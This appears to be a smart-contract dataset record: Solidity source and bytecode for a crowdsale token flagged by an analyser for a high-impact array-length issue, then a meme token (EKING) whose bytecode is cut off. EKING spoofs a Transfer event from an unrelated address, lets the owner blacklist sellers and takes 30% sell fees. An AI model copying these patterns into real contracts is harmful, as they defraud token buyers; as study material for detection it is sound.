ERC20-compatible token which is mintable, capped and timed crowdsalable */ contract SontakuToken is StandardToken, DetailedERC20, SplitPayment { using SafeMath for uint256; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event Purchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); string constant TOKEN_NAME = "Sontaku"; string constant TOKEN_SYMBOL = "SONTAKU"; uint8 constant TOKEN_DECIMALS = 18; uint256 constant EXCHANGE_RATE = 46490; uint256 constant HARD_CAP = 46494649 * (uint256(10)**TOKEN_DECIMALS); uint256 constant MIN_PURCHASE = 4649 * (uint256(10)**(TOKEN_DECIMALS - 2)); uint256 public exchangeRate; // Token units per wei on purchase uint256 public hardCap; // Maximum mintable tokens uint256 public minPurchase; // Minimum purchase tokens uint256 public crowdsaleOpeningTime; // Starting time for crowdsale uint256 public crowdsaleClosingTime; // Finishing time for crowdsale uint256 public fundRaised; // Amount of wei raised constructor( address[] _founders, uint256[] _founderShares, uint256 _crowdsaleOpeningTime, uint256 _crowdsaleClosingTime ) DetailedERC20(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS) SplitPayment(_founders, _founderShares) public { require(_crowdsaleOpeningTime <= _crowdsaleClosingTime); exchangeRate = EXCHANGE_RATE; hardCap = HARD_CAP; minPurchase = MIN_PURCHASE; crowdsaleOpeningTime = _crowdsaleOpeningTime; crowdsaleClosingTime = _crowdsaleClosingTime; for (uint i = 0; i < _founders.length; i++) { _mint(_founders[i], _founderShares[i]); } } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- function () public payable { buyTokens(msg.sender); } /** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; uint256 tokenAmount = _getTokenAmount(weiAmount); _validatePurchase(_beneficiary, weiAmount, tokenAmount); _processPurchase(_beneficiary, weiAmount, tokenAmount); emit Purchase( msg.sender, _beneficiary, weiAmount, tokenAmount ); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase * @param _tokenAmount Number of tokens to be purchased */ function _validatePurchase( address _beneficiary, uint256 _weiAmount, uint256 _tokenAmount ) internal view { require(_beneficiary != address(0)); require(_weiAmount != 0); require(_tokenAmount >= minPurchase); require(totalSupply_ + _tokenAmount <= hardCap); require(block.timestamp >= crowdsaleOpeningTime); require(block.timestamp <= crowdsaleClosingTime); } /** * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _weiAmount, uint256 _tokenAmount ) internal { _mint(_beneficiary, _tokenAmount); fundRaised = fundRaised.add(_weiAmount); } /** * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be minted */ function _mint( address _beneficiary, uint256 _tokenAmount ) internal { totalSupply_ = totalSupply_.add(_tokenAmount); balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount); emit Transfer(address(0), _beneficiary, _tokenAmount); } /** * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(exchangeRate); } }
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610148578063095ea7b3146101d2578063108167571461020a57806318160ddd1461023157806323b872dd14610246578063313ce5671461027057806333b5b62e1461029b5780633a98ef39146102b05780633ba0b9a9146102c55780634e71d92d146102da57806363037b0c146102ef578063661884631461032357806370a082311461034757806395d89b41146103685780639852595c1461037d578063a339abd51461039e578063a9059cbb146103b3578063c71c0b40146103d7578063ce7c2ac2146103ec578063d73dd6231461040d578063dd62ed3e14610431578063e33b7de314610458578063ec8ac4d81461046d578063fb86a40414610481575b61014633610496565b005b34801561015457600080fd5b5061015d610507565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019757818101518382015260200161017f565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101de57600080fd5b506101f6600160a060020a0360043516602435610595565b604080519115158252519081900360200190f35b34801561021657600080fd5b5061021f6105fc565b60408051918252519081900360200190f35b34801561023d57600080fd5b5061021f610602565b34801561025257600080fd5b506101f6600160a060020a0360043581169060243516604435610608565b34801561027c57600080fd5b5061028561077f565b6040805160ff9092168252519081900360200190f35b3480156102a757600080fd5b5061021f610788565b3480156102bc57600080fd5b5061021f61078e565b3480156102d157600080fd5b5061021f610794565b3480156102e657600080fd5b5061014661079a565b3480156102fb57600080fd5b506103076004356108d8565b60408051600160a060020a039092168252519081900360200190f35b34801561032f57600080fd5b506101f6600160a060020a0360043516602435610900565b34801561035357600080fd5b5061021f600160a060020a03600435166109f0565b34801561037457600080fd5b5061015d610a0b565b34801561038957600080fd5b5061021f600160a060020a0360043516610a66565b3480156103aa57600080fd5b5061021f610a78565b3480156103bf57600080fd5b506101f6600160a060020a0360043516602435610a7e565b3480156103e357600080fd5b5061021f610b5f565b3480156103f857600080fd5b5061021f600160a060020a0360043516610b65565b34801561041957600080fd5b506101f6600160a060020a0360043516602435610b77565b34801561043d57600080fd5b5061021f600160a060020a0360043581169060243516610c10565b34801561046457600080fd5b5061021f610c3b565b610146600160a060020a0360043516610496565b34801561048d57600080fd5b5061021f610c41565b3460006104a282610c47565b90506104af838383610c5e565b6104ba838383610cc4565b60408051838152602081018390528151600160a060020a0386169233927f46661dab58311a6838247afecbee792192b4f27fc8b3e7168c66bc55ec2e404e929081900390910190a3505050565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561058d5780601f106105625761010080835404028352916020019161058d565b820191906000526020600020905b81548152906001019060200180831161057057829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600f5481565b60015490565b6000600160a060020a038316151561061f57600080fd5b600160a060020a03841660009081526020819052604090205482111561064457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561067457600080fd5b600160a060020a03841660009081526020819052604090205461069d908363ffffffff610ce916565b600160a060020a0380861660009081526020819052604080822093909355908516815220546106d2908363ffffffff610cfb16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610714908363ffffffff610ce916565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60055460ff1681565b600d5481565b60065481565b600b5481565b33600081815260086020526040812054819081106107b757600080fd5b6007546107cc9030319063ffffffff610cfb16565b600160a060020a03841660009081526009602090815260408083205460065460089093529220549294506108289261081c919061081090879063ffffffff610d0816565b9063ffffffff610d3116565b9063ffffffff610ce916565b905080151561083657600080fd5b303181111561084457600080fd5b600160a060020a03831660009081526009602052604090205461086d908263ffffffff610cfb16565b600160a060020a038416600090815260096020526040902055600754610899908263ffffffff610cfb16565b600755604051600160a060020a0384169082156108fc029083906000818181858888f193505050501580156108d2573d6000803e3d6000fd5b50505050565b600a8054829081106108e657fe5b600091825260209091200154600160a060020a0316905081565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561095557336000908152600260209081526040808320600160a060020a038816845290915281205561098a565b610965818463ffffffff610ce916565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561058d5780601f106105625761010080835404028352916020019161058d565b60096020526000908152604090205481565b600e5481565b6000600160a060020a0383161515610a9557600080fd5b33600090815260208190526040902054821115610ab157600080fd5b33600090815260208190526040902054610ad1908363ffffffff610ce916565b3360009081526020819052604080822092909255600160a060020a03851681522054610b03908363ffffffff610cfb16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60105481565b60086020526000908152604090205481565b336000908152600260209081526040808320600160a060020a0386168452909152812054610bab908363ffffffff610cfb16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60075481565b600c5481565b60006105f6600b5483610d0890919063ffffffff16565b600160a060020a0383161515610c7357600080fd5b811515610c7f57600080fd5b600d54811015610c8e57600080fd5b600c5460015482011115610ca157600080fd5b600e54421015610cb057600080fd5b600f54421115610cbf57600080fd5b505050565b610cce8382610d46565b601054610ce1908363ffffffff610cfb16565b601055505050565b600082821115610cf557fe5b50900390565b818101828110156105f657fe5b6000821515610d19575060006105f6565b50818102818382811515610d2957fe5b04146105f657fe5b60008183811515610d3e57fe5b049392505050565b600154610d59908263ffffffff610cfb16565b600155600160a060020a038216600090815260208190526040902054610d85908263ffffffff610cfb16565b600160a060020a0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350505600a165627a7a7230582060a504b1c0063dd6d38a0f8c341e30352c542557e895340b2225e0f8eb792aee0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
1,776
0x988c66e924d0af174af9b393de27ca9544415413
/* o $""$o $" $$ $$$$ o "$o o" "$ oo"$$$" oo$"$ooo o$ "$ ooo"$oo $$$"o o o o o oo" o" "o $$o$" o o$"" o$ "$ "oo o o o o "$o ""$$$" $$ $ " o "" o" $ "o$$" o$$ ""o o $ $" $$$$$ o $ ooo o"" "o $$$$o $o o$ $$$$$" $o " $$$$ o" ""o $$$$o oo o o$" $$$$$" "o o o o" "$$$ $ "" "$" """"" ""$" """ """ " "oooooooooooooo Ethereum King | $EKING oooooooooooooo$ "$$$$"$$$$" $$$$$$$"$$$$$$ " "$$$$$"$$$$$$" $$$""$$$$ $$$oo$$$$ $$$$$$o$$$$$$o" $$$$$$$$$$$$$$ o$$$$o$$$" $"""""""""""""""""""""""""""""""""""""""""""""""""""$ $" "$ $"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$ Ethereum King | $EKING 👑 .... The one true king Join our telegram https://t.me/ethereumking1 SPDX-License-Identifier: */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EKING is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Ethereum King"; string private constant _symbol = 'EKING'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 7; _teamFee = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 15; _teamFee = 15; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4.25e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280600d81526020017f457468657265756d204b696e6700000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f454b494e47000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f